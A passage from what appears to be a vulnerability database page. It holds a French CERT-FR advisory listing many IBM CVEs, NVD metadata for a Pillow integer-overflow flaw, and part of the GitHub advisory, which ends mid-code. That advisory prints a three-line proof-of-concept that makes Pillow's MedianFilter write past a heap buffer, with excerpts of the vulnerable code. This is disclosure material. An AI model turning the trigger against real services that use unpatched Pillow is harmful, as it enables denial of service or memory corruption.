"name": "CVE-2026-11525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11525"
},
{
"name": "CVE-2026-14380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
},
{
"name": "CVE-2026-14739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
},
{
"name": "CVE-2026-58016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
},
{
"name": "CVE-2026-59890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
},
{
"name": "CVE-2025-14505",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14505"
},
{
"name": "CVE-2026-10535",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10535"
},
{
"name": "CVE-2026-10842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10842"
},
{
"name": "CVE-2026-12143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
},
{
"name": "CVE-2026-33227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33227"
},
{
"name": "CVE-2026-3520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3520"
},
{
"name": "CVE-2026-39304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39304"
},
{
"name": "CVE-2026-45249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45249"
},
{
"name": "CVE-2026-6321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
},
{
"name": "CVE-2026-6322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
},
{
"name": "CVE-2026-54512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
},
{
"name": "CVE-2026-54513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
},
{
"name": "CVE-2026-54514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2026-47057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47057"
},
{
"name": "CVE-2026-47058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47058"
},
{
"name": "CVE-2026-47059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47059"
},
{
"name": "CVE-2026-47063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47063"
},
{
"name": "CVE-2026-60147",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60147"
},
{
"name": "CVE-2026-34481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
},
{
"name": "CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"name": "CVE-2026-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
},
{
"name": "CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"name": "CVE-2026-44490",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44490"
},
{
"name": "CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"name": "CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"name": "CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"name": "CVE-2026-46625",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46625"
},
{
"name": "CVE-2026-48779",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48779"
},
{
"name": "CVE-2026-13149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13149"
},
{
"name": "CVE-2026-13311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13311"
},
{
"name": "CVE-2026-14446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14446"
},
{
"name": "CVE-2026-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14512"
},
{
"name": "CVE-2026-14515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14515"
},
{
"name": "CVE-2026-14528",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14528"
},
{
"name": "CVE-2026-14529",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14529"
},
{
"name": "CVE-2026-14974",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14974"
},
{
"name": "CVE-2026-14976",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14976"
},
{
"name": "CVE-2026-14980",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14980"
},
{
"name": "CVE-2026-14981",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14981"
},
{
"name": "CVE-2026-15064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15064"
},
{
"name": "CVE-2026-15280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15280"
},
{
"name": "CVE-2026-15325",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15325"
},
{
"name": "CVE-2026-15328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15328"
},
{
"name": "CVE-2026-16184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16184"
},
{
"name": "CVE-2026-16192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16192"
},
{
"name": "CVE-2026-2482",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2482"
},
{
"name": "CVE-2026-33846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
},
{
"name": "CVE-2026-42010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
},
{
"name": "CVE-2026-42253",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42253"
},
{
"name": "CVE-2026-42588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42588"
},
{
"name": "CVE-2026-44930",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44930"
},
{
"name": "CVE-2026-45505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45505"
},
{
"name": "CVE-2026-46605",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46605"
},
{
"name": "CVE-2026-49157",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49157"
},
{
"name": "CVE-2026-49270",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49270"
},
{
"name": "CVE-2026-49844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
},
{
"name": "CVE-2026-5038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5038"
},
{
"name": "CVE-2026-5079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5079"
},
{
"name": "CVE-2026-53550",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53550"
},
{
"name": "CVE-2026-59869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59869"
},
{
"name": "CVE-2026-64530",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64530"
},
{
"name": "CVE-2026-9358",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9358"
},
{
"name": "CVE-2026-31692",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31692"
},
{
"name": "CVE-2026-16243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16243"
},
{
"name": "CVE-2026-16439",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16439"
},
{
"name": "CVE-2026-16441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16441"
},
{
"name": "CVE-2026-49432",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49432"
},
{
"name": "CVE-2026-49434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49434"
},
{
"name": "CVE-2026-50734",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50734"
},
{
"name": "CVE-2026-53916",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53916"
},
{
"name": "CVE-2026-53917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53917"
},
{
"name": "CVE-2026-54475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54475"
},
{
"name": "CVE-2026-8400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8400"
},
{
"name": "CVE-2026-43869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43869"
},
{
"name": "CVE-2026-49458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
},
{
"name": "CVE-2026-49459",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
},
{
"name": "CVE-2026-49978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-18499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18499"
},
{
"name": "CVE-2026-44405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
},
{
"name": "CVE-2026-54225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54225"
},
{
"name": "CVE-2026-57819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57819"
},
{
"name": "CVE-2026-64958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64958"
},
{
"name": "CVE-2026-59888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
},
{
"name": "CVE-2025-14920",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14920"
},
{
"name": "CVE-2026-10050",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10050"
},
{
"name": "CVE-2026-10051",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10051"
},
{
"name": "CVE-2026-12151",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12151"
},
{
"name": "CVE-2026-12243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
},
{
"name": "CVE-2026-13676",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13676"
},
{
"name": "CVE-2026-14474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14474"
},
{
"name": "CVE-2026-14476",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14476"
},
{
"name": "CVE-2026-14742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14742"
},
{
"name": "CVE-2026-15043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15043"
},
{
"name": "CVE-2026-15392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15392"
},
{
"name": "CVE-2026-16221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16221"
},
{
"name": "CVE-2026-16440",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16440"
},
{
"name": "CVE-2026-18446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18446"
},
{
"name": "CVE-2026-34591",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34591"
},
{
"name": "CVE-2026-3833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
},
{
"name": "CVE-2026-40186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40186"
},
{
"name": "CVE-2026-40347",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40347"
},
{
"name": "CVE-2026-41043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41043"
},
{
"name": "CVE-2026-41140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41140"
},
{
"name": "CVE-2026-42011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
},
{
"name": "CVE-2026-42561",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42561"
},
{
"name": "CVE-2026-44240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44240"
},
{
"name": "CVE-2026-4427",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4427"
},
{
"name": "CVE-2026-44417",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44417"
},
{
"name": "CVE-2026-44489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44489"
},
{
"name": "CVE-2026-44618",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44618"
},
{
"name": "CVE-2026-44728",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44728"
},
{
"name": "CVE-2026-44990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44990"
},
{
"name": "CVE-2026-45822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45822"
},
{
"name": "CVE-2026-48713",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48713"
},
{
"name": "CVE-2026-48775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
},
{
"name": "CVE-2026-48801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48801"
},
{
"name": "CVE-2026-48864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
},
{
"name": "CVE-2026-49476",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49476"
},
{
"name": "CVE-2026-49477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49477"
},
{
"name": "CVE-2026-5078",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5078"
},
{
"name": "CVE-2026-54058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
},
{
"name": "CVE-2026-54059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
},
{
"name": "CVE-2026-54060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
},
{
"name": "CVE-2026-54293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
},
{
"name": "CVE-2026-5435",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
},
{
"name": "CVE-2026-54369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
},
{
"name": "CVE-2026-54370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
},
{
"name": "CVE-2026-5450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
},
{
"name": "CVE-2026-55153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55153"
},
{
"name": "CVE-2026-55379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
},
{
"name": "CVE-2026-55380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
},
{
"name": "CVE-2026-55443",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
},
{
"name": "CVE-2026-55653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55653"
},
{
"name": "CVE-2026-55655",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55655"
},
{
"name": "CVE-2026-55798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
},
{
"name": "CVE-2026-56852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
},
{
"name": "CVE-2026-59197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
},
{
"name": "CVE-2026-59198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
},
{
"name": "CVE-2026-59199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
},
{
"name": "CVE-2026-59200",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
},
{
"name": "CVE-2026-59203",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59203"
},
{
"name": "CVE-2026-59204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
},
{
"name": "CVE-2026-59205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
},
{
"name": "CVE-2026-5928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
},
{
"name": "CVE-2026-59724",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59724"
},
{
"name": "CVE-2026-59725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59725"
},
{
"name": "CVE-2026-59858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59858"
},
{
"name": "CVE-2026-59877",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59877"
},
{
"name": "CVE-2026-59887",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59887"
},
{
"name": "CVE-2026-60081",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60081"
},
{
"name": "CVE-2026-6238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
},
{
"name": "CVE-2026-62389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62389"
},
{
"name": "CVE-2026-66053",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66053"
},
{
"name": "CVE-2026-66142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66142"
},
{
"name": "CVE-2026-66143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66143"
},
{
"name": "CVE-2026-66144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66144"
},
{
"name": "CVE-2026-66373",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66373"
},
{
"name": "CVE-2026-6733",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6733"
},
{
"name": "CVE-2026-59879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59879"
},
{
"name": "CVE-2026-59880",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59880"
},
{
"name": "CVE-2026-6734",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6734"
},
{
"name": "CVE-2026-6790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6790"
},
{
"name": "CVE-2026-69247",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69247"
},
{
"name": "CVE-2026-69248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69248"
},
{
"name": "CVE-2026-69249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69249"
},
{
"name": "CVE-2026-75838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75838"
},
{
"name": "CVE-2026-9678",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9678"
},
{
"name": "CVE-2026-9679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9679"
}
],
"initial_release_date": "2026-08-28T00:00:00",
"last_revision_date": "2026-08-28T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1094",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-08-28T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285382",
"url": "https://www.ibm.com/support/pages/node/7285382"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284666",
"url": "https://www.ibm.com/support/pages/node/7284666"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285542",
"url": "https://www.ibm.com/support/pages/node/7285542"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285272",
"url": "https://www.ibm.com/support/pages/node/7285272"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285232",
"url": "https://www.ibm.com/support/pages/node/7285232"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285472",
"url": "https://www.ibm.com/support/pages/node/7285472"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285291",
"url": "https://www.ibm.com/support/pages/node/7285291"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285470",
"url": "https://www.ibm.com/support/pages/node/7285470"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285469",
"url": "https://www.ibm.com/support/pages/node/7285469"
},
{
"published_at": "2026-08-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284528",
"url": "https://www.ibm.com/support/pages/node/7284528"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285416",
"url": "https://www.ibm.com/support/pages/node/7285416"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285376",
"url": "https://www.ibm.com/support/pages/node/7285376"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285380",
"url": "https://www.ibm.com/support/pages/node/7285380"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285275",
"url": "https://www.ibm.com/support/pages/node/7285275"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285292",
"url": "https://www.ibm.com/support/pages/node/7285292"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285234",
"url": "https://www.ibm.com/support/pages/node/7285234"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285141",
"url": "https://www.ibm.com/support/pages/node/7285141"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7279466",
"url": "https://www.ibm.com/support/pages/node/7279466"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284718",
"url": "https://www.ibm.com/support/pages/node/7284718"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285509",
"url": "https://www.ibm.com/support/pages/node/7285509"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285340",
"url": "https://www.ibm.com/support/pages/node/7285340"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285513",
"url": "https://www.ibm.com/support/pages/node/7285513"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285420",
"url": "https://www.ibm.com/support/pages/node/7285420"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284710",
"url": "https://www.ibm.com/support/pages/node/7284710"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285274",
"url": "https://www.ibm.com/support/pages/node/7285274"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284653",
"url": "https://www.ibm.com/support/pages/node/7284653"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285342",
"url": "https://www.ibm.com/support/pages/node/7285342"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285539",
"url": "https://www.ibm.com/support/pages/node/7285539"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284670",
"url": "https://www.ibm.com/support/pages/node/7284670"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284806",
"url": "https://www.ibm.com/support/pages/node/7284806"
}
]
}
EUVD-2026-80058
European Vulnerability Database identifier assigned by ENISA{
"assigner": "ENISA",
"date_reserved": "2026-10-03T10:53:40.027453+00:00",
"id": "EUVD-2026-80058"
}
FKIE_CVE-2026-59197
Vulnerability from fkie_nvd - Published: 2026-07-14 17:17 - Updated: 2026-07-21 19:17| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1 | Patch | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/pull/9695 | Issue Tracking, Patch | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/releases/tag/12.3.0 | Release Notes | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr | Exploit, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr | Exploit, Vendor Advisory |
{
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003c 12.3.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*",
"matchCriteriaId": "6372231F-529B-45CD-978E-3F2AEFF5F95C",
"versionEndExcluding": "12.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0."
}
],
"id": "CVE-2026-59197",
"lastModified": "2026-07-21T19:17:11.907",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 4.2,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-59197",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-21T18:50:30.849980Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-14T17:17:14.487",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
},
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/python-pillow/Pillow/pull/9695"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-190"
},
{
"lang": "en",
"value": "CWE-787"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-XJ96-63GP-2GMR
Vulnerability from github – Published: 2026-07-20 23:08 – Updated: 2026-07-20 23:08Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.
Minimal public API trigger:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)
The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);
For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}
src/libImaging/RankFilter.c does contain checks that would reject this size:
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
